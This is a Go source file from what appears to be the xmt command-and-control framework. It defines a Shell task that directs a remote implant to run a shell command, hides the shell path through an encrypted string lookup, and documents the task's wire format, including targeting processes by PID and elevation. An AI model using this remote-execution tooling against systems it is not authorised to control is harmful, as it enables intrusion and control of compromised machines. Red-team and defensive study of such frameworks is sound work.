github.com/iDigitalFlame/xmt@v0.5.4/c2/task/vx_crypt.go (about)

     1  //go:build crypt && !implant
     2  // +build crypt,!implant
     3  
     4  // Copyright (C) 2020 - 2023 iDigitalFlame
     5  //
     6  // This program is free software: you can redistribute it and/or modify
     7  // it under the terms of the GNU General Public License as published by
     8  // the Free Software Foundation, either version 3 of the License, or
     9  // any later version.
    10  //
    11  // This program is distributed in the hope that it will be useful,
    12  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    13  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    14  // GNU General Public License for more details.
    15  //
    16  // You should have received a copy of the GNU General Public License
    17  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    18  //
    19  
    20  package task
    21  
    22  import "github.com/iDigitalFlame/xmt/util/crypt"
    23  
    24  // Shell will create a Task that will instruct the client to run a shell
    25  // command. The command will be passed as an argument to the default shell
    26  // found on the device.
    27  //
    28  // The Filter attribute will attempt to set the target that runs the Process.
    29  // If none are specified, the Process will be ran under the client process.
    30  //
    31  // The response to this task will return the PID, ExitCode and Stdout/Stderr
    32  // data.
    33  //
    34  // C2 Details:
    35  //
    36  //	ID: TvExecute
    37  //
    38  //	Input:
    39  //	    Process struct {
    40  //	        []string        // Args
    41  //	        string          // Dir
    42  //	        []string        // Environment
    43  //	        uint32          // Flags
    44  //	        bool            // Wait
    45  //	        int64           // Timeout
    46  //	        Filter struct { // Filter
    47  //	            bool        // Filter Status
    48  //	            uint32      // PID
    49  //	            bool        // Fallback
    50  //	            uint8       // Session
    51  //	            uint8       // Elevated
    52  //	            []string    // Exclude
    53  //	            []string    // Include
    54  //	        }
    55  //	        []byte          // Stdin Data
    56  //	    }
    57  //	Output:
    58  //	    uint32              // PID
    59  //	    int32               // Exit Code
    60  //	    []byte              // Output (Stdout and Stderr)
    61  func Shell(c string) Process {
    62  	return Process{Args: []string{crypt.Get(0), c}, Wait: true} // @SHELL@
    63  }